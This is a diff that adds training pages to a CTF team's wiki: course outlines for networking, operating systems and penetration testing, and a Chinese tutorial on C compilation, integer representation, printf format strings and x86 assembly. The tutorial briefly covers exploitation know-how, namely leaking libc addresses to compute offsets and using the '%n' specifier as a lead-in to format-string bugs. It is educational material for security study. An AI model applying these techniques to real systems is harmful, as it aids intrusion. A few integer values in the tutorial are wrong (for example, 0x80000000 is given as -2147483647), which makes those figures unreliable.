+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/Network/index.html b/Training/Material/Network/index.html new file mode 100644 index 000000000..9cd45d5bf --- /dev/null +++ b/Training/Material/Network/index.html @@ -0,0 +1,8159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Computer Network - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Computer Network

+

Introduction

+

About computer network, how Internet works and basic protocols about computer network.

+

Computer network is the basic course for Web challenges. Learning about Computer Network and learn about networking protocols, vulnerabilities, and key ideas of network traffic.

+

Material

+

Computer Networking: A Top-Down Approach

+

(Optional) TCP / IP Illustrated Volume 1, 2, 3

+

Component

+
    +
  1. Computer Network and the Internet
  2. +
  3. Application Layer: HTTP & DNS
  4. +
  5. Transmission Layer: TCP & UDP
  6. +
  7. Network Layer: IP
  8. +
  9. Link Layer and LAN
  10. +
+

Download

+

Computer Network.pptx

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/OS/index.html b/Training/Material/OS/index.html new file mode 100644 index 000000000..cf374220b --- /dev/null +++ b/Training/Material/OS/index.html @@ -0,0 +1,8159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Operating Systems - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Operating Systems

+

Introduction

+

Guide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure.

+

Material

+

Computer Systems: A Programmer's Perspective

+

Component

+
    +
  1. Overview of Operating Systems
  2. +
  3. Storage of Information and Program
  4. +
  5. CPU Structure and Compiling of Program
  6. +
  7. Storage Hierarchy
  8. +
  9. Running of Program
  10. +
  11. Exception and Interrupt Handling
  12. +
  13. IO and Networking
  14. +
+

Download

+

Operating Systems.pptx

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/Penetration/index.html b/Training/Material/Penetration/index.html new file mode 100644 index 000000000..7e7bd5530 --- /dev/null +++ b/Training/Material/Penetration/index.html @@ -0,0 +1,8158 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Penetration Testing - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Penetration Testing

+

Introduction

+

From CTF challenges to the penetration testing and hacking a real system. Learn about how to carry out a real attack to the computer systems.

+

Aim in AWD (Attack & Defense) CTF and learn how to penetration testing.

+

Material

+

The Hacker Playbook

+

Component

+
    +
  1. Environment Settings
  2. +
  3. Information Gathering
  4. +
  5. Web Application Exploiting
  6. +
  7. Network Attack
  8. +
  9. Other Attacking Methods
  10. +
+

Download

+

Penetration.pptx

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/Reverse/index.html b/Training/Material/Reverse/index.html new file mode 100644 index 000000000..ffb3cf3e7 --- /dev/null +++ b/Training/Material/Reverse/index.html @@ -0,0 +1,14606 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 逆向工程与汇编语言 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

逆向工程与汇编语言

+

C 语言基础

+ +

从源代码到可执行文件

+

我们以经典著作《The C Programming Language》中的第一个程序 “Hello World” 为例,讲解 Linux 下 GCC 的编译过程。

+
#include <stdio.h>
+main()
+{
+    printf("hello, world\n");
+}
+$gcc hello.c
+$./a.out
+hello world
+
+

以上过程可分为4个步骤:预处理(Preprocessing)、编译(Compilation)、汇编(Assembly)和链接(Linking)。

+

img

+

预编译

+
gcc -E hello.c -o hello.i
+# 1 "hello.c"
+# 1 "<built-in>"
+# 1 "<command-line>"
+......
+extern int printf (const char *__restrict __format, ...);
+......
+main() {
+ printf("hello, world\n");
+}
+
+

预编译过程主要处理源代码中以 “#” 开始的预编译指令:

+
    +
  • 将所有的 “#define” 删除,并且展开所有的宏定义。
  • +
  • 处理所有条件预编译指令,如 “#if”、“#ifdef”、“#elif”、“#else”、“#endif”。
  • +
  • 处理 “#include” 预编译指令,将被包含的文件插入到该预编译指令的位置。注意,该过程递归执行。
  • +
  • 删除所有注释。
  • +
  • 添加行号和文件名标号。
  • +
  • 保留所有的 #pragma 编译器指令。
  • +
+

编译

+
gcc -S hello.c -o hello.s
+        .file   "hello.c"
+        .section        .rodata
+.LC0:
+        .string "hello, world"
+        .text
+        .globl  main
+        .type   main, @function
+main:
+.LFB0:
+        .cfi_startproc
+        pushq   %rbp
+        .cfi_def_cfa_offset 16
+        .cfi_offset 6, -16
+        movq    %rsp, %rbp
+        .cfi_def_cfa_register 6
+        leaq    .LC0(%rip), %rdi
+        call    puts@PLT
+        movl    $0, %eax
+        popq    %rbp
+        .cfi_def_cfa 7, 8
+        ret
+        .cfi_endproc
+.LFE0:
+        .size   main, .-main
+        .ident  "GCC: (GNU) 7.2.0"
+        .section        .note.GNU-stack,"",@progbits
+
+

编译过程就是把预处理完的文件进行一系列词法分析、语法分析、语义分析及优化后生成相应的汇编代码文件。

+

汇编

+
$ gcc -c hello.s -o hello.o
+或者
+$gcc -c hello.c -o hello.o
+$ objdump -sd hello.o
+
+hello.o:     file format elf64-x86-64
+
+Contents of section .text:
+ 0000 554889e5 488d3d00 000000e8 00000000  UH..H.=.........
+ 0010 b8000000 005dc3                      .....].
+Contents of section .rodata:
+ 0000 68656c6c 6f2c2077 6f726c64 00        hello, world.
+Contents of section .comment:
+ 0000 00474343 3a202847 4e552920 372e322e  .GCC: (GNU) 7.2.
+ 0010 3000                                 0.
+Contents of section .eh_frame:
+ 0000 14000000 00000000 017a5200 01781001  .........zR..x..
+ 0010 1b0c0708 90010000 1c000000 1c000000  ................
+ 0020 00000000 17000000 00410e10 8602430d  .........A....C.
+ 0030 06520c07 08000000                    .R......
+
+Disassembly of section .text:
+
+0000000000000000 <main>:
+   0:   55                      push   %rbp
+   1:   48 89 e5                mov    %rsp,%rbp
+   4:   48 8d 3d 00 00 00 00    lea    0x0(%rip),%rdi        # b <main+0xb>
+   b:   e8 00 00 00 00          callq  10 <main+0x10>
+  10:   b8 00 00 00 00          mov    $0x0,%eax
+  15:   5d                      pop    %rbp
+  16:   c3                      retq
+
+

汇编器将汇编代码转变成机器可以执行的指令。

+

链接

+
gcc hello.o -o hello
+$ objdump -d -j .text hello
+......
+000000000000064a <main>:
+ 64a:   55                      push   %rbp
+ 64b:   48 89 e5                mov    %rsp,%rbp
+ 64e:   48 8d 3d 9f 00 00 00    lea    0x9f(%rip),%rdi        # 6f4 <_IO_stdin_used+0x4>
+ 655:   e8 d6 fe ff ff          callq  530 <puts@plt>
+ 65a:   b8 00 00 00 00          mov    $0x0,%eax
+ 65f:   5d                      pop    %rbp
+ 660:   c3                      retq
+ 661:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
+ 668:   00 00 00
+ 66b:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
+......
+
+

目标文件需要链接一大堆文件才能得到最终的可执行文件(上面只展示了链接后的 main 函数,可以和 hello.o 中的 main 函数作对比)。链接过程主要包括地址和空间分配(Address and Storage Allocation)、符号决议(Symbol Resolution)和重定向(Relocation)等。

+

gcc 技巧

+

通常在编译后只会生成一个可执行文件,而中间过程生成的 .i.s.o 文件都不会被保存。我们可以使用参数 -save-temps 永久保存这些临时的中间文件。

+
$ gcc -save-temps hello.c
+$ ls
+a.out hello.c  hello.i  hello.o  hello.s
+
+

这里要注意的是,gcc 默认使用动态链接,所以这里生成的 a.out 实际上是共享目标文件。

+
$ file a.out
+a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=533aa4ca46d513b1276d14657ec41298cafd98b1, not stripped
+
+

使用参数 --verbose 可以输出 gcc 详细的工作流程。

+
gcc hello.c -static --verbose
+
+

东西很多,我们主要关注下面几条信息:

+
$ /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/cc1 -quiet -v hello.c -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -o /tmp/ccj1jUMo.s
+
+as -v --64 -o /tmp/ccAmXrfa.o /tmp/ccj1jUMo.s
+
+/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/collect2 -plugin /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/lto-wrapper -plugin-opt=-fresolution=/tmp/cc1l5oJV.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_eh -plugin-opt=-pass-through=-lc --build-id --hash-style=gnu -m elf_x86_64 -static /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crt1.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crti.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtbeginT.o -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0 -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib -L/lib/../lib -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../.. /tmp/ccAmXrfa.o --start-group -lgcc -lgcc_eh -lc --end-group /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtend.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crtn.o
+
+

三条指令分别是 cc1ascollect2,cc1 是 gcc 的编译器,将 .c 文件编译为 .s 文件,as 是汇编器命令,将 .s 文件汇编成 .o 文件,collect2 是链接器命令,它是对命令 ld 的封装。静态链接时,gcc 将 C 语言运行时库的 5 个重要目标文件 crt1.ocrti.ocrtbeginT.ocrtend.ocrtn.o-lgcc-lgcc_eh-lc 表示的 3 个静态库链接到可执行文件中。

+

更多的内容我们会在 1.5.3 中专门对 ELF 文件进行讲解。

+

C 语言标准库

+

C 运行库(CRT)是一套庞大的代码库,以支撑程序能够正常地运行。其中 C 语言标准库占据了最主要地位。

+

常用的标准库文件头:

+
    +
  • 标准输入输出(stdio.h)
  • +
  • 字符操作(ctype.h)
  • +
  • 字符串操作(string.h)
  • +
  • 数学函数(math.h)
  • +
  • 实用程序库(stdlib.h)
  • +
  • 时间/日期(time.h)
  • +
  • 断言(assert.h)
  • +
  • 各种类型上的常数(limits.h & float.h)
  • +
  • 变长参数(stdarg.h)
  • +
  • 非局部跳转(setjmp.h)
  • +
+

glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。glibc 主要由两部分组成,一部分是头文件,位于 /usr/include;另一部分是库的二进制文件。二进制文件部分主要是 C 语言标准库,有动态和静态两个版本,动态版本位于 /lib/libc.so.6,静态版本位于 /usr/lib/libc.a

+

在漏洞利用的过程中,通常我们通过计算目标函数地址相对于已知函数地址在同一个 libc 中的偏移,来获得目标函数的虚拟地址,这时我们需要让本地的 libc 版本和远程的 libc 版本相同,可以先泄露几个函数的地址,然后在 libcdb.com 中进行搜索来得到。

+

整数表示

+

默认情况下,C 语言中的数字是有符号数,下面我们声明一个有符号整数和无符号整数:

+
int var1 = 0;
+unsigned int var2 = 0;
+
+
    +
  • 有符号整数
  • +
  • 可以表示为正数或负数
  • +
  • int 的范围:-2,147,483,648 ~ 2,147,483,647
  • +
  • 无符号整数
  • +
  • 只能表示为零或正数
  • +
  • unsigned int 的范围:0 ~ 4,294,967,295
  • +
+

signed 或者 unsigned 取决于整数类型是否可以携带标志 +/-

+
    +
  • Signed
  • +
  • int
  • +
  • signed int
  • +
  • long
  • +
  • Unsigned
  • +
  • unit
  • +
  • unsigned int
  • +
  • unsigned long
  • +
+

signed int 中,二进制最高位被称作符号位,符号位被设置为 1 时,表示值为负,当设置为 0 时,值为非负:

+
    +
  • 0x7FFFFFFF = 2147493647
  • +
  • 01111111111111111111111111111111
  • +
  • 0x80000000 = -2147483647
  • +
  • 10000000000000000000000000000000
  • +
  • 0xFFFFFFFF = -1
  • +
  • 11111111111111111111111111111111
  • +
+

二进制补码以一种适合于二进制加法器的方式来表示负数,当一个二进制补码形式表示的负数和与它的绝对值相等的正数相加时,结果为 0。首先以二进制方式写出正数,然后对所有位取反,最后加 1 就可以得到该数的二进制补码:

+
eg: 0x00123456
+  = 1193046
+  = 00000000000100100011010001010110
+ ~= 11111111111011011100101110101001
+ += 11111111111011011100101110101010
+  = -1193046 (0xFFEDCBAA)
+
+

编译器需要根据变量类型信息编译成相应的指令:

+
    +
  • 有符号指令
  • +
  • IDIV:带符号除法指令
  • +
  • IMUL:带符号乘法指令
  • +
  • SAL:算术左移指令(保留符号)
  • +
  • SAR:右移右移指令(保留符号)
  • +
  • MOVSX:带符号扩展传送指令
  • +
  • JL:当小于时跳转指令
  • +
  • JLE:当小于或等于时跳转指令
  • +
  • JG:当大于时跳转指令
  • +
  • JGE:当大于或等于时跳转指令
  • +
  • 无符号指令
  • +
  • DIV:除法指令
  • +
  • MUL:乘法指令
  • +
  • SHL:逻辑左移指令
  • +
  • SHR:逻辑右移指令
  • +
  • MOVZX:无符号扩展传送指令
  • +
  • JB:当小于时跳转指令
  • +
  • JBE:当小于或等于时跳转指令
  • +
  • JA:当大于时跳转指令
  • +
  • JAE:当大于或等于时跳转指令
  • +
+

32 位机器上的整型数据类型,不同的系统可能会有不同:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
C 数据类型最小值最大值最小大小
char-1281278 bits
short-32 76832 76716 bits
int-2 147 483 6482 147 483 64716 bits
long-2 147 483 6482 147 483 64732 bits
long long-9 223 372 036 854 775 8089 223 372 036 854 775 80764 bits
+

固定大小的数据类型:

+
    +
  • +

    int [# of bits]_t

    +
  • +
  • +

    int8_t, int16_t, int32_t

    +
  • +
  • +

    uint[# of bits]_t

    +
  • +
  • +

    uint8_t, uint16_t, uint32_t

    +
  • +
  • +

    有符号整数

    +
  • +
  • +

    img

    +
  • +
  • +

    无符号整数

    +
  • +
  • +

    img

    +
  • +
+

更多信息在 stdint.hlimits.h 中:

+
man stdint.h
+cat /usr/include/stdint.h
+man limits.h
+cat /usr/include/limits.h
+
+

了解整数的符号和大小是很有用的,在后面的相关章节中我们会介绍整数溢出的内容。

+

格式化输出函数

+

C 标准中定义了下面的格式化输出函数(参考 man 3 printf):

+
#include <stdio.h>
+
+int printf(const char *format, ...);
+int fprintf(FILE *stream, const char *format, ...);
+int dprintf(int fd, const char *format, ...);
+int sprintf(char *str, const char *format, ...);
+int snprintf(char *str, size_t size, const char *format, ...);
+
+#include <stdarg.h>
+
+int vprintf(const char *format, va_list ap);
+int vfprintf(FILE *stream, const char *format, va_list ap);
+int vdprintf(int fd, const char *format, va_list ap);
+int vsprintf(char *str, const char *format, va_list ap);
+int vsnprintf(char *str, size_t size, const char *format, va_list ap);
+
+
    +
  • fprintf() 按照格式字符串的内容将输出写入流中。三个参数为流、格式字符串和变参列表。
  • +
  • printf() 等同于 fprintf(),但是它假定输出流为 stdout
  • +
  • sprintf() 等同于 fprintf(),但是输出不是写入流而是写入数组。在写入的字符串末尾必须添加一个空字符。
  • +
  • snprintf() 等同于 sprintf(),但是它指定了可写入字符的最大值 size。当 size 大于零时,输出字符超过第 size-1 的部分会被舍弃而不会写入数组中,在写入数组的字符串末尾会添加一个空字符。
  • +
  • dprintf() 等同于 fprintf(),但是它输出不是流而是一个文件描述符 fd
  • +
  • vfprintf()vprintf()vsprintf()vsnprintf()vdprintf() 分别与上面的函数对应,只是它们将变参列表换成了 va_list 类型的参数。
  • +
+

格式字符串

+

格式字符串是由普通字符(ordinary character)(包括 %)和转换规则(conversion specification)构成的字符序列。普通字符被原封不动地复制到输出流中。转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入输出流中。

+

一个转换规则有可选部分和必需部分组成:

+
%[ 参数 ][ 标志 ][ 宽度 ][ .精度 ][ 长度 ] 转换指示符
+
+
    +
  • (必需)转换指示符
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
字符描述
d, i有符号十进制数值 int。'%d' 与 '%i' 对于输出是同义;但对于 scanf() 输入二者不同,其中 %i 在输入值有前缀 0x0 时,分别表示 16 进制或 8 进制的值。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空
u十进制 unsigned int。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空
f, Fdouble 型输出 10 进制定点表示。'f' 与 'F' 差异是表示无穷与 NaN 时,'f' 输出 'inf', 'infinity' 与 'nan';'F' 输出 'INF', 'INFINITY' 与 'NAN'。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。小数点左侧至少一位数字
e, Edouble 值,输出形式为 10 进制的([-]d.ddd e[+/-]ddd). E 版本使用的指数符号为 E(而不是e)。指数部分至少包含 2 位数字,如果值为 0,则指数部分为 00。Windows 系统,指数部分至少为 3 位数字,例如 1.5e002,也可用 Microsoft 版的运行时函数 _set_output_format 修改。小数点前存在 1 位数字。小数点后的数字位数等于精度。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点
g, Gdouble 型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,精度] 内,输出为定点形式;否则输出为指数浮点形式。'g' 使用小写字母,'G' 使用大写字母。小数点右侧的尾数 0 不被显示;显示小数点仅当输出的小数部分不为 0
x, X16 进制 unsigned int。'x' 使用小写字母;'X' 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空
o8 进制 unsigned int。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空
s如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数
c如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符
pvoid * 型,输出对应变量的值。printf("%p", a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址
a, Adouble 型的 16 进制表示,"[−]0xh.hhhh p±d"。其中指数部分为 10 进制表示的形式。例如:1025.010 输出为 0x1.004000p+10。'a' 使用小写字母,'A' 使用大写字母
n不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量
%'%' 字面值,不接受任何除了 参数 以外的部分
+
    +
  • (可选)参数
  • +
+ + + + + + + + + + + + + +
字符描述
n$n 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 参数,则其他所有占位符必须也使用 参数。例:printf("%2$d %2$#x; %1$d %1$#x",16,17) 产生 "17 0x11; 16 0x10"
+
    +
  • (可选)标志
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
字符描述
+总是表示有符号数值的 '+' 或 '-' 号,缺省情况是忽略正数的符号。仅适用于数值类型
空格使得有符号数的输出如果没有正负号或者输出 0 个字符,则前缀 1 个空格。如果空格与 '+' 同时出现,则空格说明符被忽略
-左对齐。缺省情况是右对齐
#对于 'g' 与 'G',不删除尾部 0 以表示精度。对于 'f', 'F', 'e', 'E', 'g', 'G', 总是输出小数点。对于 'o', 'x', 'X', 在非 0 数值前分别输出前缀 0, 0x0X表示数制
0如果 宽度 选项前缀为 0,则在左侧用 0 填充直至达到宽度要求。例如 printf("%2d", 3) 输出 "3",而 printf("%02d", 3) 输出 "03"。如果 0- 均出现,则 0 被忽略,即左对齐依然用空格填充
+
    +
  • (可选)宽度
  • +
+

是一个用来指定输出字符的最小个数的十进制非负整数。如果实际位数多于定义的宽度,则按实际位数输出;如果实际位数少于定义的宽度则补以空格或 0。

+
    +
  • (可选)精度
  • +
+

精度是用来指示打印字符个数、小数位数或者有效数字个数的非负十进制整数。对于 diuxo 的整型数值,是指最小数字位数,不足的位要在左侧补 0,如果超过也不截断,缺省值为 1。对于 a, A, e, E, f, F 的浮点数值,是指小数点右边显示的数字位数,必要时四舍五入;缺省值为 6。对于 g, G 的浮点数值,是指有效数字的最大位数。对于 s 的字符串类型,是指输出的字节的上限,超出限制的其它字符将被截断。如果域宽为 *,则由对应的函数参数的值为当前域宽。如果仅给出了小数点,则域宽为 0。

+
    +
  • (可选)长度
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
字符描述
hh对于整数类型,printf 期待一个从 char 提升的 int 整型参数
h对于整数类型,printf 期待一个从 short 提升的 int 整型参数
l对于整数类型,printf 期待一个 long 整型参数。对于浮点类型,printf 期待一个 double 整型参数。对于字符串 s 类型,printf 期待一个 wchar_t 指针参数。对于字符 c 类型,printf 期待一个 wint_t 型的参数
ll对于整数类型,printf 期待一个 long long 整型参数。Microsoft 也可以使用 I64
L对于浮点类型,printf 期待一个 long double 整型参数
z对于整数类型,printf 期待一个 size_t 整型参数
j对于整数类型,printf 期待一个 intmax_t 整型参数
t对于整数类型,printf 期待一个 ptrdiff_t 整型参数
+

例子

+
printf("Hello %%");           // "Hello %"
+printf("Hello World!");       // "Hello World!"
+printf("Number: %d", 123);    // "Number: 123"
+printf("%s %s", "Format", "Strings");   // "Format Strings"
+
+printf("%12c", 'A');          // "           A"
+printf("%16s", "Hello");      // "          Hello!"
+
+int n;
+printf("%12c%n", 'A', &n);    // n = 12
+printf("%16s%n", "Hello!", &n); // n = 16
+
+printf("%2$s %1$s", "Format", "Strings"); // "Strings Format"
+printf("%42c%1$n", &n);       // 首先输出41个空格,然后输出 n 的低八位地址作为一个字符
+
+

这里我们对格式化输出函数和格式字符串有了一个详细的认识,后面的章节中我们会介绍格式化字符串漏洞的内容。

+

汇编语言

+ +

3.3 X86 汇编基础

+
+

3.3.2 寄存器 Registers

+

现代 ( 386及以上的机器 )x86 处理器有 8 个 32 位通用寄存器, 如图 1 所示. x86-registers.png

+

这些寄存器的名字都是有点历史的, 例如 EAX 过去被称为 累加器, 因为它被用来作很多算术运算, 还有 ECX 被称为 计数器 , 因为它被用来保存循环的索引 ( 就是循环次数 ). 尽管大多是寄存器在现代指令集中已经失去了它们的特殊用途, 但是按照惯例, 其中有两个寄存器还是有它们的特殊用途 ---ESP 和 EBP.

+

对于 EAS, EBX, ECX 还有 EDX 寄存器, 它们可以被分段开来使用. 例如, 可以将 EAX 的最低的 2 位字节视为 16 位寄存器 ( AX ). 还可以将 AX 的最低位的 1 个字节看成 8 位寄存器来用 ( AL ), 当然 AX 的高位的 1 个字节也可以看成是一个 8 位寄存器 ( AH ). 这些名称有它们相对应的物理寄存器. 当两个字节大小的数据被放到 DX 的时候, 原本 DH, DLEDX 的数据会受到影响 ( 被覆盖之类的 ). 这些 " 子寄存器 " 主要来自于比较久远的 16 位版本指令集. 然而, 姜还是老的辣, 在处理小于 32 位的数据的时候, 比如 1 个字节的 ASCII 字符, 它们有时会很方便.

+

3.3.3 内存和寻址模式 Memory and Addressing Modes

+

3.3.3.1 声明静态数据区域

+

你可以用特殊的 x86 汇编指令在内存中声明静态数据区域 ( 类似于全局变量 ). .data指令用来声明数据. 根据这条指令, .byte, .short.long 可以分别用来声明 1 个字节, 2 个字节和 4 个字节的数据. 我们可以给它们打个标签, 用来引用创建的数据的地址. 标签在汇编语言中是非常有用的, 它们给内存地址命名, 然后编译器链接器 将其 " 翻译 " 成计算机理解的机器代码. 这个跟用名称来声明变量很类似, 但是它遵守一些较低级别的规则. 例如, 按顺序声明的位置将彼此相邻地存储在内存中. 这话也许有点绕, 就是按照顺序打的标签, 这些标签对应的数据也会按照顺序被放到内存中.

+

一些例子 :

+
.data
+var :
+       .byte 64 ;声明一个字节型变量 var, 其所对应的数据是64
+       .byte 10 ;声明一个数据 10, 这个数据没有所谓的 " 标签 ", 它的内存地址就是 var+1.
+
+x :
+       .short 42 ;声明一个大小为 2 个字节的数据, 这个数据有个标签 " x "
+
+y :
+       .long 30000 ;声明一个大小为 4 个字节的数据, 这个数据标签是 " y ",  y 的值被初始化为 30000
+
+

与高级语言不同, 高级语言的数组可以具有多个维度并且可以通过索引来访问, x86 汇编语言的数组只是在内存中连续的" 单元格 ". 你只需要把数值列出来就可以声明一个数组, 比如下面的第一个例子. 对于一些字节型数组的特殊情况, 我们可以使用字符串. 如果要在大多数的内存填充 0, 你可以使用.zero指令.

+

例子 :

+
s :
+       .long 1, 2, 3 ;声明 3 个大小为 4 字节的数据 1, 2, 3. 内存中 s+8 这个标签所对应的数据就是 3.
+
+barr:
+       .zero 10 ;从 barr 这个标签的位置开始, 声明 10 个字节的数据, 这些数据被初始化为 0.
+
+str :
+       .string "hello" ;从 str 这个标签的位置开始, 声明 6 个字节的数据, 即 hello 对应的 ASCII 值, 这最后还跟有一个 nul(0) 字节.
+
+

label_s

+

label_barr

+

label_str

+

3.3.3.2 内存寻址

+

现代x86兼容处理器能够寻址高达 2^32 字节的内存 : 内存地址为 32 位宽. 在上面的示例中,我们使用标签来引用内存区域,这些标签实际上被 32 位数据的汇编程序替换,这些数据指定了内存中的地址. 除了支持通过标签(即常数值)引用存储区域之外,x86提供了一种灵活的计算和引用内存地址的方案 :最多可将两个32位寄存器和一个32位有符号常量相加,以计算存储器地址. 其中一个寄存器可以选择预先乘以 2, 4 或 8.

+

寻址模式可以和许多 x86 指令一起使用 ( 我们将在下一节对它们进行讲解 ). 这里我们用mov指令在寄存器和内存中移动数据当作例子. 这个指令有两个参数, 第一个是数据的来源, 第二个是数据的去向.

+

一些mov的例子 :

+
mov (%ebx), %eax ;从 EBX 中的内存地址加载 4 个字节的数据到 EAX, 就是把 EBX 中的内容当作标签, 这个标签在内存中对应的数据放到 EAX 中
+;后面如果没有说明的话, (%ebx)就表示寄存器ebx中存储的内容
+
+mov %ebx, var(,1) ; 将 EBX 中的 4 个字节大小的数据移动的内存中标签为 var 的地方去.( var 是一个 32 位常数).
+
+mov (%esi, %ebx, 4), %edx ;将内存中标签为 ESI+4*EBX 所对应的 4 个字节大小的数据移动到 EDX中.
+
+

一些错误的例子:

+
mov (%ebx, %ecx, -1), %eax ;这个只能把寄存器中的值加上一遍.
+mov %ebx,(%eax, %esi, %edi, 1) ;在地址计算中, 最多只能出现 2 个寄存器, 这里却有 3 个寄存器.
+
+

3.3.3.3 操作后缀

+

通常, 给定内存地址的数据类型可以从引用它的汇编指令推断出来. 例如, 在上面的指令中, 你可以从寄存器操作数的大小来推出其所占的内存大小. 当我们加载一个 32 位的寄存器的时候, 编译器就可以推断出我们用到的内存大小是 4 个字节宽. 当我们将 1 个字节宽的寄存器的值保存到内存中时, 编译器可以推断出我们想要在内存中弄个 1 字节大小的 " 坑 " 来保存我们的数据.

+

然而在某些情况下, 我们用到的内存中 " 坑 " 的大小是不明确的. 比如说这条指令 mov $2,(%ebx). 这条指令是否应该将 " 2 " 这个值移动到 EBX 中的值所代表的地址 " 坑 " 的单个字节中 ? 也许它表示的是将 32 位整数表示的 2 移动到从地址 EBX 开始的 4 字节. 既然这两个解释都有道理, 但计算机汇编程序必须明确哪个解释才是正确的, 计算机很单纯的, 要么是错的要么是对的. 前缀 b, w, 和 l 就是来解决这个问题的, 它们分别表示 1, 2 和 4 个字节的大小.

+

举几个例子 :

+
movb $2, (%ebx) ;将 2 移入到 ebx 中的值所表示的地址单元中.
+movw $2, (%ebx) ;将 16 位整数 2 移动到 从 ebx 中的值所表示的地址单元 开始的 2 个字节中;这话有点绕, 所以我故意在里面加了点空格, 方便大家理解.
+movl $2,(%ebx) ;将 32 位整数 2 移动到 从 ebx中的值表示的地址单元 开始的 4 个字节中.
+
+

3.3.4 指令 Instructions

+

机器指令通常分为 3 类 : 数据移动指令, 逻辑运算指令和流程控制指令. 在本节中, 我们将讲解每一种类型的 x86 指令以及它们的重要示例. 当然, 我们不可能把 x86 所有指令讲得特别详细, 毕竟篇幅和水平有限. 完整的指令列表, 请参阅 intel 的指令集参考手册.

+

我们将使用以下符号 :

+
<reg32 任意的 32 位寄存器 (%eax, %ebx, %ecx, %edx, %esi, %edi, %esp 或者 %eb)
+<reg16 任意的 16 位寄存器 (%ax, %bx, %cx 或者 %dx)
+<reg8 任意的 8 位寄存器 (%ah, %al, %bh, %bl, %ch, %cl, %dh, %dl)
+<reg 任意的寄存器
